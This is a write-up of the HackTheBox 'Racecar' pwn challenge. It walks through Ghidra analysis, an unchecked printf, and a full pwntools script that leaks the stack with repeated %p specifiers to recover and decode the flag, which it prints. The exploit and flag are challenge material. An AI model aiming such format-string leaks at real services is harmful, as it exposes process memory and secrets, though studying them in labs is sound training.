A HackTheBox pwn challenge with a format string attack.
1. Introduction
Racecar is a very easy pwn challenge. In this challenge I will use a format string attack.
2. First look
Running file racecar
shows that it is a 32 bit binary.
fabrzhz@backdoor.zip$ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
|
Running the program with some input shows the following output:
3. Reconnaissance
I will open the binary in Ghidra and search for strings
Scrolling down a bit, I notice the same strings as I saw when I ran the binary.
First red block
After clicking on one of the strings, I open the decomplied view. Here I notice that the flag.txt
is opened in read mode and returns a pointer to __stream.
Second red block
The fgets function reads a line from the file pointed to by __stream
(the flag) and stores it in the buffer local_3c
, which is an array of size 0x2c
(44 bytes).
Third red block
The read(0, __format, 0x170)
reads my input and stores it in the buffer __format
of size 0x170
(368 bytes).
4. Vulnerability analysis
My input is printed at the printf, but our input is not checked, hence we can do a format string attack.
Common parameters used in a format string attack
Parameters |
Output |
Passed as |
%p |
External representation of a pointer to void |
Reference |
%d |
Decimal |
Value |
%c |
Character |
|
%u |
Unsigned decimal |
Value |
%x |
Hexadecimal |
Value |
%s |
String |
Reference |
%n |
Writes the number of characters into a pointer |
Reference |
More information about format string attacks can be read here: https://owasp.org/www-community/attacks/Format_string_attack
.
If I run the binary and give many %p
’s, data on the stack will be leaked in hexadecimal.
5. Exploitation
Great, I know how to print values from the stack, since we can run the binary lically to test, I can create a flag with the value AAAA
, this will make it easy to spot in all the %p
’s.
And as expected the flag is leaked.
all there is left is write a pwntools script that replicate this and get the real flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/usr/bin/env python3
from pwn import *
try:
context.log_level = 'ERROR'
payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
ip = '178.62.9.40' # replace with the IP of the target
port = 32538 # replace with the port of the target
p = remote(ip, port) # Connect to the remote service
# p = process('./racecar') # used for local testing
p.sendlineafter(b'Name:', b'a')
p.sendlineafter(b'Nickname:', b'aa')
p.sendlineafter(b'>', b'2') #selectio
p.sendlineafter(b'>', b'2') # car
p.sendlineafter(b'>', b'1') #circuit
p.sendlineafter(b'>', payload)
x = p.recv()
x = p.recv().decode('utf-8')
flag_hex_string = x.split('\n')[2]
print(f'flag encoded: {flag_hex_string}')
except Exception as e:
print(f'Exception {e}')
|
Great, that gives the following output
fabrzhz@backdoor.zip$ python3 racecar_exploit.py
flag encoded: 0x565d91c0 0x170 0x56573dfa 0x42 0x4 0x26 0x2 0x1 0x5657496c 0x565d91c0 0x565d9340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xb5f2ae00 0xf7f9c3fc 0x56576f8c
|
Now we have to add the decoding, that gives the following complete script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/usr/bin/env python3
from pwn import *
try:
context.log_level = 'ERROR'
payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
ip = '178.62.9.40' # replace with the IP of the target
port = 32538 # replace with the port of the target
p = remote(ip, port) # Connect to the remote service
# p = process('./racecar') # used for local testing
p.sendlineafter(b'Name:', b'a')
p.sendlineafter(b'Nickname:', b'aa')
p.sendlineafter(b'>', b'2') #selectio
p.sendlineafter(b'>', b'2') # car
p.sendlineafter(b'>', b'1') #circuit
p.sendlineafter(b'>', payload)
x = p.recv()
x = p.recv().decode('utf-8')
flag_hex_string = x.split('\n')[2]
print(f'flag encoded: {flag_hex_string}')
# === flag decoding ===
flag_hex_string_array = flag_hex_string.split(' ')
flag = ''
for piece in flag_hex_string_array:
without_0x = piece[2:]
try:
blep = bytearray.fromhex(without_0x).decode('utf-8', errors='replace')
blep = blep[::-1]
flag += blep
except:
pass
print(f'flag: {flag}')
except Exception as e:
print(f'Exception {e}')
|
And the flag can be read succesfully, you have to look closely ;)
fabrzhz@backdoor.zip$ python3 racecar_exploit.py
flag encoded: 0x571481c0 0x170 0x56615dfa 0x3b 0x1 0x26 0x2 0x1 0x5661696c 0x571481c0 0x57148340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf2c48f00 0xf7f713fc 0x56618f8c
flag: ��\x14�]aV;&liaV��\x14@�\x14HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00\x8f��\x13\xbf\xbd���aV
|
Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}